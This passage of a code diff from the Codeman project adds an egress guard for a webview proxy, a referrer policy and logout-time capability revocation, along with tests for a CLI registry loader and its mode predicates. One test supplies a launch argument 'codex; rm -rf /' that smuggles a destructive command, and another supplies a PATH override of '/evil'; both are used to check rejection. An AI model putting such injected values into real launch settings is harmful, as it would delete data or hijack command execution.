`autoSelectFamily` Node races the whole list. + */ +export function createEgressLookup(resolve: ResolveAll = defaultResolveAll): EgressLookup { + return (hostname, options, callback) => { + // Node's callback type carries a non-optional address; on error `net` reads + // only `err`, so the placeholder values are never looked at. + const fail = (err: NodeJS.ErrnoException) => callback(err, '', 0); + resolve(hostname, options ?? {}).then( + (addresses) => { + const blocked = addresses.find((entry) => isBlockedEgressAddress(entry.address)); + if (blocked) { + fail(new WebviewEgressBlockedError(`${hostname} resolves to ${blocked.address}`)); + return; + } + if (options?.all) { + callback(null, addresses, 0); + return; + } + const first = addresses[0]; + if (!first) { + const notFound: NodeJS.ErrnoException = new Error(`getaddrinfo ENOTFOUND ${hostname}`); + notFound.code = 'ENOTFOUND'; + fail(notFound); + return; + } + callback(null, first.address, first.family); + }, + (err: NodeJS.ErrnoException) => fail(err) + ); + }; +} + +/** Process-wide lookup for the WebSocket relay (and anything else `net`-shaped). */ +export const webviewEgressLookup: EgressLookup = createEgressLookup(); + +/** + * An undici `Agent` whose connections resolve through `lookup`. Exported as a + * factory so a test can inject a resolver and prove the hook is honoured + * end-to-end; production uses the lazily-built singleton below. + */ +export function createWebviewDispatcher(lookup: EgressLookup = webviewEgressLookup): Agent { + return new Agent({ connect: { lookup } }); +} + +let dispatcher: Agent | undefined; +function webviewDispatcher(): Agent { + dispatcher ??= createWebviewDispatcher(); + return dispatcher; +} + +/** + * `fetch` for dashboard targets. Refuses a blocked IP literal synchronously (the + * lookup hook never sees one) and routes everything else through the guarded + * Agent, where a name resolving into a blocked range fails the connect with a + * `WebviewEgressBlockedError` as the `cause` of undici's `fetch failed` TypeError. + * Check either shape with `isEgressBlockedError()`. + */ +export function webviewFetch(target: URL, init: RequestInit = {}): Promise { + const reason = blockedWebviewHostReason(target.hostname); + if (reason) return Promise.reject(new WebviewEgressBlockedError(reason)); + return undiciFetch(target.href, { ...init, dispatcher: webviewDispatcher() }); +} diff --git a/src/web/webview-proxy.ts b/src/web/webview-proxy.ts index bc0633f9..4856b34b 100644 --- a/src/web/webview-proxy.ts +++ b/src/web/webview-proxy.ts @@ -93,6 +93,10 @@ const DROP_RESPONSE_HEADERS = new Set([ 'access-control-allow-headers', 'access-control-expose-headers', 'access-control-max-age', + // The capability rides in every proxied URL, so the upstream's own referrer + // policy must not decide whether third parties receive it. Ours is stamped in + // buildDownstreamResponseHeaders. + 'referrer-policy', ]); /** The same-origin path prefix an iframe loads for a given capability. */ @@ -352,6 +356,15 @@ export function buildDownstreamResponseHeaders( headers[lower] = value; } + // Every URL inside the frame carries the capability, and a dashboard that sets + // `no-referrer-when-downgrade` or `unsafe-url` would hand it to any third-party + // host it links or embeds. `same-origin` keeps the Referer on requests back to + // Codeman (the 404 fallback and `refererPath` rely on it; both compare URL + // origins, which an opaque-origin frame still satisfies) and strips it for + // everyone else. A `` inside the document can still + // override this; that is the dashboard author's own decision about their page. + headers['referrer-policy'] = 'same-origin'; + const setCookie = setCookies.map((cookie) => rewriteSetCookie(cookie, capability, secureContext)); return { headers, setCookie, csp }; diff --git a/src/webview-capabilities.ts b/src/webview-capabilities.ts index fa4ccc90..84263ccd 100644 --- a/src/webview-capabilities.ts +++ b/src/webview-capabilities.ts @@ -13,7 +13,8 @@ * * - 128 bits of `randomBytes` entropy, base64url, never derived from anything. * - Held in memory only. A restart invalidates every outstanding capability. - * - Rolling TTL: refreshed on use, expired after inactivity. + * - Rolling TTL: refreshed on use, expired after inactivity, and revoked outright + * on logout, admin logout and user deletion (`revokeOwner`). * - Bound to the minting user, so multi-user ownership survives the exemption. * - Grants exactly one thing: relaying bytes to that one saved URL. It reaches no * session, no file, no API surface. @@ -81,15 +82,33 @@ export class WebviewCapabilityStore { } } - /** Revoke every capability minted by a user (called on logout / user deletion). */ - revokeOwner(owner: string): void { + /** + * Revoke every capability bound to an identity. Called from `POST /api/logout` + * (the caller's own identity, which in single-user mode is `undefined`, i.e. + * every capability there is), from the admin logout route, and from user + * deletion. + * + * ⚠️ This method shipped for two releases with NO caller while its docstring + * claimed logout invoked it. The rolling TTL is refreshed on every use, so a + * proxy URL that leaked (browser history, a shared screenshot, a dashboard with + * a loose referrer policy) stayed valid indefinitely as long as something kept + * polling it. Logging out is the user's one deliberate "invalidate what I + * opened" gesture, and it has to reach here; `test/webview-capability-revocation.test.ts` + * pins each call site. + * + * @returns how many capabilities were revoked (for the admin audit line). + */ + revokeOwner(owner: string | undefined): number { + let revoked = 0; for (const [webviewId, token] of [...this.byWebview]) { const record = this.capabilities.peek(token); if (record?.owner === owner) { this.capabilities.delete(token); this.byWebview.delete(webviewId); + revoked++; } } + return revoked; } get size(): number { diff --git a/test/agent-skill-mode-lists.test.ts b/test/agent-skill-mode-lists.test.ts index 9b01020d..239ebcf3 100644 --- a/test/agent-skill-mode-lists.test.ts +++ b/test/agent-skill-mode-lists.test.ts @@ -48,7 +48,7 @@ import { describe, expect, it } from 'vitest'; import { readFileSync } from 'node:fs'; import { fileURLToPath } from 'node:url'; import { join } from 'node:path'; -import { CreateSessionSchema, QuickStartSchema } from '../src/web/schemas.js'; +import { CreateSessionSchema, QuickStartSchema, sessionModeIds } from '../src/web/schemas.js'; import { isExternalCliMode } from '../src/session.js'; import { hooksAvailableForMode } from '../src/web/session-wait-registry.js'; import type { SessionMode } from '../src/types/session.js'; @@ -63,14 +63,20 @@ const SKILL_FILES = [ 'reference/verbs.md', ]; -/** Modes the API actually accepts, read off the schema rather than restated here. */ -function schemaModes(schema: typeof CreateSessionSchema | typeof QuickStartSchema): SessionMode[] { - // `mode` is `z.enum([...]).optional()`; unwrap the optional to reach `.options`. - return (schema as unknown as { shape: { mode: { unwrap(): { options: SessionMode[] } } } }).shape.mode.unwrap() - .options; +/** + * Modes the API actually accepts, read off the runtime source of truth rather than restated + * here — the whole point of this file is to catch the skill docs drifting from what the API + * takes, which a second hardcoded list could not do. + * + * `mode` used to be a `z.enum([...])` whose `.options` this unwrapped. It is now resolved at + * parse time from the enabled CLI registry (so enabling a CLI does not need a restart), and + * there is no frozen member list on the schema to read; `sessionModeIds()` is that list. + */ +function schemaModes(): SessionMode[] { + return sessionModeIds() as SessionMode[]; } -const MODES = schemaModes(CreateSessionSchema); +const MODES = schemaModes(); const EXTERNAL_MODES = MODES.filter(isExternalCliMode); /** @@ -101,10 +107,21 @@ function modesIn(run: string): SessionMode[] { } describe('agent skill run-mode lists', () => { - it('derives the mode list from the schema, and both endpoints agree', () => { + it('derives the mode list from the registry, and both endpoints agree', () => { expect(MODES).toContain('pi'); - expect(new Set(schemaModes(QuickStartSchema))).toEqual(new Set(MODES)); expect(EXTERNAL_MODES.length).toBeGreaterThan(1); + // Guard against a parsing/registry regression silently making every scan below vacuous. + expect(MODES.length).toBeGreaterThanOrEqual(9); + + // Both endpoints now share one mode validator, so comparing member lists would compare + // a thing with itself. Parse through each schema instead: that survives the two + // drifting apart later, which is what this assertion is actually for. + for (const mode of MODES) { + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode }).success).toBe(true); + expect(QuickStartSchema.safeParse({ caseName: 'demo', mode }).success).toBe(true); + } + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'not-a-cli' }).success).toBe(false); + expect(QuickStartSchema.safeParse({ caseName: 'demo', mode: 'not-a-cli' }).success).toBe(false); }); it('documents the CLI availability probe for every agent mode', () => { diff --git a/test/app-settings-structure.test.ts b/test/app-settings-structure.test.ts index 4013497e..cdbbe1aa 100644 --- a/test/app-settings-structure.test.ts +++ b/test/app-settings-structure.test.ts @@ -120,13 +120,31 @@ describe('App Settings modal structure', () => { const select = modal.match(/id="appSettingsClaudeModel"([\s\S]*?)<\/select>/)?.[1] ?? ''; // The cards render the base models; the [1m] rows exist so that base + the // context switch can compose back into a real claudeModel value. - for (const value of ['opus[1m]', 'claude-fable-5[1m]', 'claude-opus-4-6[1m]']) { + for (const value of ['opus[1m]', 'claude-fable-5[1m]', 'claude-fable-5-1[1m]', 'claude-opus-4-6[1m]']) { expect(select).toContain(`value="${value}"`); } expect(select).toContain('data-ctx="1"'); expect(modal).toContain('id="appSettingsOpusContext1m"'); }); + it('models: offers Fable 5.1 as a card and to task routing', () => { + const modal = settingsModal(); + const select = modal.match(/id="appSettingsClaudeModel"([\s\S]*?)<\/select>/)?.[1] ?? ''; + // The cards are built from these options, so data-ctx is what keeps the 1M + // switch live for the model rather than greying the row out. + expect(select).toMatch(/value="claude-fable-5-1"[^>]*data-ctx="1"/); + for (const id of [ + 'appSettingsDefaultModel', + 'appSettingsModelExplore', + 'appSettingsModelImplement', + 'appSettingsModelTest', + 'appSettingsModelReview', + ]) { + const routing = modal.match(new RegExp(`id="${id}"([\\s\\S]*?)`))?.[1] ?? ''; + expect(routing, `${id} does not offer Fable 5.1`).toContain('value="claude-fable-5-1"'); + } + }); + it('has retired the modal-tab chrome everywhere, not just here', () => { // Session Options and Add Case moved onto this same `set-*` surface, so the // old tab classes have no users left. A reappearance means a modal drifted diff --git a/test/cli-capability-predicates.test.ts b/test/cli-capability-predicates.test.ts new file mode 100644 index 00000000..6ba7c8c6 --- /dev/null +++ b/test/cli-capability-predicates.test.ts @@ -0,0 +1,101 @@ +/** + * @fileoverview The three per-mode predicates that used to be hand-written id lists, and the + * invariant that they are INDEPENDENT. + * + * `isExternalCliMode()`, `isAltScreenStripMode()` and `hooksAvailableForMode()` describe three + * different, deliberately unequal sets. Deriving any one of them from another looks like a + * tidy-up and has already shipped a bug: `shell` has no hooks but is NOT an external CLI, so + * a hooks predicate written as `!isExternalCliMode()` accepted `until=stop` on a shell session + * and then blocked the caller for their entire timeout — an infinite wait wearing a timeout's + * clothes, which is precisely what that guard exists to prevent. + * + * Keeping them as three separate `CliCapabilities` fields makes that structural. This file is + * what stops someone collapsing them again. + * + * Port: none (pure predicates over registry data). + */ + +import { describe, it, expect } from 'vitest'; +import { isExternalCliMode, isAltScreenStripMode } from '../src/session.js'; +import { hooksAvailableForMode } from '../src/web/session-wait-registry.js'; +import { enabledCliIds } from '../src/config/cli-registry/registry.js'; +import type { SessionMode } from '../src/types/session.js'; + +const MODES = enabledCliIds() as SessionMode[]; + +describe('per-mode capability predicates', () => { + it.each([ + // mode external altScreenStrip hooks + ['claude', false, true, true], + ['shell', false, false, false], + ['opencode', true, false, false], + ['codex', true, true, false], + ['gemini', true, true, false], + ['antigravity', true, false, false], + ['pi', true, false, false], + ['grok', true, false, false], + ['deepseek', true, false, true], + ['omp', true, false, false], + ] as Array<[SessionMode, boolean, boolean, boolean]>)( + '%s: external=%s altScreenStrip=%s hooks=%s', + (mode, external, altScreen, hooks) => { + expect(isExternalCliMode(mode)).toBe(external); + expect(isAltScreenStripMode(mode)).toBe(altScreen); + expect(hooksAvailableForMode(mode)).toBe(hooks); + } + ); + + it('covers every enabled mode (sanity)', () => { + // If a CLI is added without a row above, this fails rather than the table silently + // describing a subset of reality. + expect(MODES.length).toBe(10); + }); + + it('keeps the three predicates genuinely distinct', () => { + // Not "they happen to differ today" — each pair differs on a NAMED mode, and each of + // those disagreements is load-bearing. + const external = MODES.filter(isExternalCliMode); + const altScreen = MODES.filter(isAltScreenStripMode); + const hooks = MODES.filter((m) => hooksAvailableForMode(m)); + + expect(external).not.toEqual(altScreen); + expect(external).not.toEqual(hooks); + expect(altScreen).not.toEqual(hooks); + + // claude is the mode that separates all three: not external, IS stripped, HAS hooks. + expect(isExternalCliMode('claude')).toBe(false); + expect(isAltScreenStripMode('claude')).toBe(true); + expect(hooksAvailableForMode('claude')).toBe(true); + // deepseek is external AND has hooks — the pairing that makes "external ⇒ no hooks" false. + expect(isExternalCliMode('deepseek')).toBe(true); + expect(hooksAvailableForMode('deepseek')).toBe(true); + }); + + it('does not accept a hook-only wait on a shell session', () => { + // The exact historical bug, reproduced. `shell` is not external, so any hooks predicate + // derived from `isExternalCliMode` would answer true here and hang the caller. + expect(isExternalCliMode('shell')).toBe(false); + expect(hooksAvailableForMode('shell')).toBe(false); + }); + + it("treats deepseek's hooks as a per-SESSION question, not a per-mode one", () => { + // 'supervised': real signals, but only while this session's bridge is actually armed and + // reachable. Answering from the mode alone promises a `stop` that never arrives. + expect(hooksAvailableForMode('deepseek')).toBe(true); + expect(hooksAvailableForMode('deepseek', { deepSeekStatusReporting: false })).toBe(false); + expect(hooksAvailableForMode('deepseek', { deepSeekBridgeUnreachable: true })).toBe(false); + // claude's are unconditional, so the same options change nothing. + expect(hooksAvailableForMode('claude', { deepSeekStatusReporting: false })).toBe(true); + expect(hooksAvailableForMode('claude', { deepSeekBridgeUnreachable: true })).toBe(true); + }); + + it('falls back conservatively for an unregistered mode', () => { + const unknown = 'not-a-cli' as SessionMode; + // External: disables Claude-specific parsing rather than pointing it at foreign output. + expect(isExternalCliMode(unknown)).toBe(true); + // No hooks: never promise a signal nothing will send. + expect(hooksAvailableForMode(unknown)).toBe(false); + // No full strip: leaving the alt screen alone is the safe default for an unknown TUI. + expect(isAltScreenStripMode(unknown)).toBe(false); + }); +}); diff --git a/test/cli-registry-load.test.ts b/test/cli-registry-load.test.ts new file mode 100644 index 00000000..dfc8c688 --- /dev/null +++ b/test/cli-registry-load.test.ts @@ -0,0 +1,228 @@ +/** + * @fileoverview Loading and merging `~/.codeman/clis.json` over the stock catalog. + * + * Two properties matter most here and neither is obvious from reading the loader: + * + * 1. A BAD OVERRIDE MUST NOT BRICK A SHIPPED CLI. The file is hand-editable, so a typo is a + * matter of when, not if. A stock entry that fails validation after merge falls back to + * its pristine definition; a custom entry that fails is dropped. Neither takes the rest + * of the catalog down with it. + * 2. LOADING WRITES NOTHING. There is no settings UI and no write API in this build, so + * there is nothing to persist — and `src/web/schemas.ts` imports the registry just to + * validate a request, which would make any write here a filesystem side effect of + * parsing HTTP input. + * + * Port: none (`resolveRegistry` is pure; the on-disk cases use the per-file temp HOME from + * test/setup.ts). + */ + +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from 'node:fs'; +import { dirname } from 'node:path'; +import { dataPath } from '../src/config/instance.js'; +import { STOCK_CLIS } from '../src/config/cli-registry/stock.js'; +import { resolveRegistry, loadCliRegistry, reloadCliRegistry, listClis } from '../src/config/cli-registry/registry.js'; +import type { CliEntry } from '../src/config/cli-registry/types.js'; +import { CreateSessionSchema, sessionModeIds } from '../src/web/schemas.js'; + +/** A complete, valid custom entry — the minimum a user would have to write by hand. */ +function customEntry(id: string): Record { + const template = STOCK_CLIS.find((e) => (e.id as string) === 'pi'); + if (!template) throw new Error('pi is missing from the stock catalog'); + return JSON.parse(JSON.stringify({ ...template, id, label: 'Custom', order: 999 })) as Record; +} + +function writeRegistryFile(contents: unknown): void { + const path = dataPath('clis.json'); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync(path, typeof contents === 'string' ? contents : JSON.stringify(contents, null, 2), { mode: 0o600 }); +} + +describe('resolveRegistry (pure)', () => { + it('returns the stock catalog unchanged when there is no file', () => { + const warnings: string[] = []; + const { entries } = resolveRegistry(STOCK_CLIS, null, warnings); + expect(warnings).toEqual([]); + expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string)); + expect(entries.every((e) => e.stock)).toBe(true); + }); + + it('applies a partial override without disturbing anything else', () => { + const warnings: string[] = []; + const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: { enabled: false } } }, warnings); + expect(warnings).toEqual([]); + const byId = new Map(entries.map((e) => [e.id as string, e])); + expect(byId.get('grok')?.enabled).toBe(false); + // The override touched one key; everything else about grok, and every other CLI, stands. + expect(byId.get('grok')?.launch.variants[0].args[0]).toEqual({ lit: 'grok' }); + expect(entries.filter((e) => e.enabled).length).toBe(STOCK_CLIS.length - 1); + }); + + it('replaces arrays wholesale rather than merging them element-wise', () => { + // A half-merged searchDirs (or worse, a half-merged args list) is not a reasonable + // thing to hand a spawn path, so arrays replace. + const warnings: string[] = []; + const { entries } = resolveRegistry( + STOCK_CLIS, + { schemaVersion: 1, clis: { pi: { discovery: { searchDirs: ['/only/this'] } } } }, + warnings + ); + expect(entries.find((e) => (e.id as string) === 'pi')?.discovery.searchDirs).toEqual(['/only/this']); + }); + + it('adds a well-formed custom entry', () => { + const warnings: string[] = []; + const { entries } = resolveRegistry( + STOCK_CLIS, + { schemaVersion: 1, clis: { mycli: customEntry('mycli') } }, + warnings + ); + expect(warnings).toEqual([]); + const mine = entries.find((e) => (e.id as string) === 'mycli'); + expect(mine?.label).toBe('Custom'); + // Forced false regardless of what the file claimed — provenance is not user-assertable. + expect(mine?.stock).toBe(false); + }); + + it('drops an invalid custom entry but keeps the whole stock catalog', () => { + const warnings: string[] = []; + const { entries } = resolveRegistry( + STOCK_CLIS, + { schemaVersion: 1, clis: { broken: { label: 'nope' } } }, + warnings + ); + expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string)); + expect(warnings.join(' ')).toContain('broken'); + }); + + it('falls back to the PRISTINE definition when an override breaks a stock CLI', () => { + // This is the one that matters: a fat-fingered override of a shipped CLI must degrade to + // the shipped behaviour, never to a CLI that cannot launch. + const warnings: string[] = []; + const { entries } = resolveRegistry( + STOCK_CLIS, + { + schemaVersion: 1, + clis: { codex: { launch: { variants: [{ id: 'x', args: [{ lit: 'codex; rm -rf /' }] }] } } }, + }, + warnings + ); + const codex = entries.find((e) => (e.id as string) === 'codex'); + expect(codex?.launch.variants[0].args[0]).toEqual({ lit: 'codex' }); + expect(warnings.join(' ')).toContain('codex'); + }); + + it('refuses to let a custom entry impersonate a stock one', () => { + const warnings: string[] = []; + const impostor = { ...customEntry('grok'), stock: true, label: 'Not Grok' }; + const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: impostor } }, warnings); + const grok = entries.filter((e) => (e.id as string) === 'grok'); + expect(grok).toHaveLength(1); + expect(grok[0].stock).toBe(true); + }); + + it('sorts by order', () => { + const { entries } = resolveRegistry(STOCK_CLIS, null, []); + const orders = entries.map((e) => e.order); + expect([...orders].sort((a, b) => a - b)).toEqual(orders); + }); +}); + +describe('loadCliRegistry (on disk)', () => { + beforeEach(() => reloadCliRegistry()); + afterEach(() => reloadCliRegistry()); + + it('WRITES NOTHING when no file exists', () => { + const path = dataPath('clis.json'); + expect(existsSync(path)).toBe(false); + const { entries, warnings } = loadCliRegistry(); + expect(entries).toHaveLength(STOCK_CLIS.length); + expect(warnings).toEqual([]); + // The whole reason this build has no seeding ratchet: importing the registry (which + // schemas.ts does, to validate a request) must not touch the filesystem. + expect(existsSync(path)).toBe(false); + }); + + it('WRITES NOTHING when a file does exist', () => { + writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } }); + const before = readFileSync(dataPath('clis.json'), 'utf-8'); + loadCliRegistry(); + expect(readFileSync(dataPath('clis.json'), 'utf-8')).toBe(before); + }); + + it('tolerates a file written by a future version that carries seededStockIds', () => { + // Forward compatibility: a later build persists that key. Reading it must not fail. + writeRegistryFile({ schemaVersion: 1, seededStockIds: ['claude', 'shell'], clis: {} }); + const { entries, warnings } = loadCliRegistry(); + expect(entries).toHaveLength(STOCK_CLIS.length); + expect(warnings).toEqual([]); + }); + + it('QUARANTINES malformed JSON rather than overwriting it', () => { + // The file is hand-editable, so a syntax error is far more likely to be a half-finished + // edit than junk. Renaming keeps the user's work; truncating would destroy it. + writeRegistryFile('{ "clis": { oops'); + const { entries, warnings } = loadCliRegistry(); + expect(entries).toHaveLength(STOCK_CLIS.length); + expect(warnings.join(' ')).toContain('not valid JSON'); + const siblings = readdirSync(dirname(dataPath('clis.json'))); + expect(siblings.some((f) => f.startsWith('clis.json.invalid-'))).toBe(true); + expect(siblings).not.toContain('clis.json'); + }); +}); + +describe('the mode allowlist resolves at PARSE time, not import time', () => { + beforeEach(() => reloadCliRegistry()); + afterEach(() => reloadCliRegistry()); + + it('stops accepting a mode as soon as its CLI is disabled — no restart', () => { + // The regression this pins: SESSION_MODE_IDS used to be computed once at module load, + // so toggling a CLI updated the Run menu while `POST /api/sessions` kept answering + // INVALID_INPUT until the server restarted. Validation and the menu disagreed about + // which CLIs existed, and the flow the feature was built around simply did not work. + expect(sessionModeIds()).toContain('grok'); + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(true); + + writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } }); + reloadCliRegistry(); + + expect(sessionModeIds()).not.toContain('grok'); + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(false); + // ...and the schema object itself was never rebuilt. + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude' }).success).toBe(true); + }); + + it('admits a custom CLI as a run mode the moment it loads', () => { + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(false); + writeRegistryFile({ schemaVersion: 1, clis: { mycli: customEntry('mycli') } }); + reloadCliRegistry(); + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(true); + }); + + it('follows the registry for env-prefix allowlisting too', () => { + // Same import-time freeze applied to ALLOWED_ENV_PREFIXES, with the same symptom. + const withGrokEnv = { workingDir: '/tmp', mode: 'claude', envOverrides: { XAI_API_KEY: 'x' } }; + expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(true); + + writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } }); + reloadCliRegistry(); + + // XAI_ was grok's contribution; with grok disabled nothing allowlists it any more. + expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(false); + }); + + it('never lets a registry entry unblock a hard-blocked key', () => { + // BLOCKED_ENV_KEYS is deliberately NOT registry-driven. Even a pathological entry + // claiming a prefix that covers everything must not reach PATH. + const evil = customEntry('evil'); + (evil as { env: { allowedPrefixes: string[] } }).env.allowedPrefixes = ['P']; + writeRegistryFile({ schemaVersion: 1, clis: { evil } }); + reloadCliRegistry(); + // The schema rejects a 1-char prefix outright, so the entry is dropped... + expect(listClis().some((e) => (e.id as string) === 'evil')).toBe(false); + // ...and PATH stays blocked regardless. + expect( + CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude', envOverrides: { PATH: '/evil' } }).success + ).toBe(false); + }); +}); diff --git a/test/cli-registry-no-id-branching.test.ts b/test/cli-registry-no-id-branching.test.ts new file mode 100644 index 00000000..06cad742 --- /dev/null +++ b/test/cli-registry-no-id-branching.test.ts @@ -0,0 +1,373 @@ +/** + * @fileoverview Static guard: no code outside the stock catalog branches on a CLI's ID. + * + * The whole point of the registry is that behaviour which differs between CLIs is DATA (a + * `CliEntry` field) or a NAMED PROFILE selected by a field — never `mode === 'codex'`. A + * single reintroduced id-check is how the old shape grows back, one "just this once" at a + * time, until adding a CLI means editing forty files again. + * + * This guard was cited by name in three separate file headers of an earlier attempt at this + * refactor and never actually written — and in its absence four id-branches survived that + * migration, one of them dead code sitting directly under the generic check that replaced it. + * So the guard is not decoration: it is the thing that makes the rule true rather than + * aspirational. + * + * ## What is allowlisted, and why an allowlist rather than zero + * + * Some branches are not CLI-behaviour branches at all, and forcing them through a capability + * would make the code worse, not better. Each entry below carries its reason. The categories: + * + * - **Legacy `Config` plumbing.** `POST /api/sessions` has carried named per-CLI + * config objects since before the registry, and `docs/versioning-policy.md` makes that + * wire shape public. Selecting `codexConfig` for codex is a fact about the HTTP API, not + * about codex, and the `Session` constructor mirrors it. The registry already owns the + * translation (`launch.legacyConfigField`); collapsing the constructor too is a public-API + * change and belongs in its own PR. + * - **Claude's remote/docker command construction.** Claude's pane command varies with the + * session's permission mode and its docker form is `--session-id … || resume`, semantics + * no other CLI has and a static `overlays.command` string cannot express. + * - **Genuinely per-CLI prose.** One error message that explains why a deepseek session in + * particular will never deliver a `stop` signal. + * + * ⚠️ Adding an entry here is a decision, not a formality. If the branch is about what a CLI + * CAN DO, it belongs in `CliCapabilities` instead — and if it needs to run code, in + * `config/cli-registry/profiles.ts` as a named profile. + * + * Port: none (pure static analysis). + */ + +import { describe, it, expect } from 'vitest'; +import { readdirSync, readFileSync, statSync } from 'node:fs'; +import { join, relative, sep } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { STOCK_CLIS } from '../src/config/cli-registry/stock.js'; + +const SRC = fileURLToPath(new URL('../src', import.meta.url)); + +/** + * Files exempt from the scan entirely, because naming CLI ids IS their job. + * + * `stock.ts` is the catalog. The per-CLI resolver modules are each ABOUT one CLI and look up + * their own entry by id — the same reason the catalog may, and the reason they are not a + * loophole: they resolve a binary, they decide no behaviour. + */ +const EXEMPT_FILES = new Set( + [ + 'config/cli-registry/stock.ts', + 'utils/claude-cli-resolver.ts', + 'utils/opencode-cli-resolver.ts', + 'utils/codex-cli-resolver.ts', + 'utils/gemini-cli-resolver.ts', + 'utils/antigravity-cli-resolver.ts', + 'utils/pi-cli-resolver.ts', + 'utils/grok-cli-resolver.ts', + 'utils/deepseek-cli-resolver.ts', + // Names the deepseek launcher profile's implementation; keyed by profile, not by id. + 'utils/cli-launcher.ts', + ].map((p) => p.split('/').join(sep)) +); + +/** + * Specific surviving branches, each with the reason it is not a capability. + * Keyed `::`. + */ +const ALLOWED_BRANCHES: Record = { + // --- Legacy Config plumbing (public wire shape, see the header) --- + "web/routes/session-routes.ts::mode === 'opencode'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'codex'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'gemini'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'antigravity'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'pi'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'grok'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'deepseek'": 'legacy Config plumbing', + "web/server.ts::mode === 'opencode'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'codex'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'gemini'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'antigravity'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'pi'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'grok'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'deepseek'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'omp'": 'legacy Config plumbing (session recovery)', + + // --- Claude's remote/docker command construction --- + "tmux-manager.ts::mode === 'claude'": + "claude's remote pane command carries per-session permission flags, and its docker form is " + + '`--session-id … || resume`; neither fits a static overlays.command string', + + // --- Per-CLI prose and launch handling not yet generalised --- + "web/session-wait-registry.ts::mode === 'deepseek'": + 'an error message explaining why THIS mode in particular will never deliver a stop signal', + "web/routes/approval-routes.ts::mode === 'deepseek'": + 'the DeepSeek status bridge is the only non-claude source of approval items', + "cron/cron-service.ts::mode === 'claude'": 'cron launch handling, not yet generalised', + "cron/cron-service.ts::mode === 'shell'": 'cron launch handling, not yet generalised', + "web/routes/session-routes.ts::mode === 'claude'": 'docker case bookkeeping keyed on the claude conversation id', + "cli.ts::mode === 'shell'": 'a CLI-table label, not behaviour', + + // --- Negated forms surfaced when BRANCH_PATTERN widened past `===` (see its comment) --- + // + // None of these is a regression: every one predates the registry and survived the + // conversion only because the guard could not see `!==`. They are listed here with reasons + // rather than silently converted, because each would change behaviour or invent a + // capability field, and this change is meant to change nothing a user can see. + + // Read My Mind + intent capture read CLAUDE's OWN transcript, so `mode === 'claude'` is + // the right question and `hooksAvailableForMode()` is NOT — once `deepseek` earned a yes + // there, the shared predicate silently widened both to a mode with no transcript to read. + // CLAUDE.md documents this as deliberate and `test/deepseek-mode.test.ts` pins it, so a + // capability here would be actively wrong. + "web/routes/readmymind-routes.ts::mode !== 'claude'": + 'deliberately mode-not-capability; pinned by deepseek-mode.test.ts', + "web/server.ts::mode !== 'claude'": + "intent capture reads Claude's own transcript, and the recovered-workspace hook sweep " + + 'writes .claude hooks — both are claude questions, not capability ones (see CLAUDE.md)', + + // The TUI is a CLIENT of the server, and these two are about what it can offer for a row: + // resume builds a `claude --resume`, and the mode badge is suppressed for the default mode + // purely so the common case reads clean. The badge one is cosmetic and not a capability at + // all; the resume one would need a "resumable from a claude transcript" field that nothing + // else would read. + "tui/tui-app.ts::mode !== 'claude'": 'TUI resume builds a claude --resume; claude-transcript-only by construction', + "tui/tui-render.ts::mode !== 'claude'": 'cosmetic: suppress the mode badge for the default mode', + + // Push approve/deny BUTTONS are withheld for dsh because the answer route refuses + // keystrokes for its dialogs (third-party TUI, unmeasured contract) — a button whose + // answer would be refused is worse than none. Arguably wants an "answerable dialogs" + // capability; deliberately not invented here. + "web/routes/hook-event-routes.ts::mode !== 'deepseek'": + 'push buttons withheld where the answer route refuses keystrokes', + + // Legacy Config plumbing, same category as the `===` entries above. + "web/routes/session-routes.ts::mode !== 'omp'": 'legacy Config plumbing (resolveOmpConfigForCreate)', + + // ⚠️ Scaffolded-case hooks. This chain excludes seven CLIs but NOT `deepseek`, while its + // own comment says DeepSeek uses its own system — so a scaffolded deepseek case gets a + // Claude hooks block written into it. That inconsistency is UPSTREAM's and predates this + // change; expressing the chain as a capability would have to pick a side and would + // therefore be a behaviour change. Left exactly as found, and named here so it is visible. + "web/routes/session-routes.ts::mode !== 'opencode'": + 'scaffolded-case hooks + the COD-91 self-heal skip; the chain omits deepseek upstream, ' + + 'so any capability form would change behaviour — see PR discussion', + "web/routes/session-routes.ts::mode !== 'codex'": 'scaffolded-case hooks (see the opencode entry)', + "web/routes/session-routes.ts::mode !== 'gemini'": 'scaffolded-case hooks (see the opencode entry)', + "web/routes/session-routes.ts::mode !== 'antigravity'": 'scaffolded-case hooks (see the opencode entry)', + 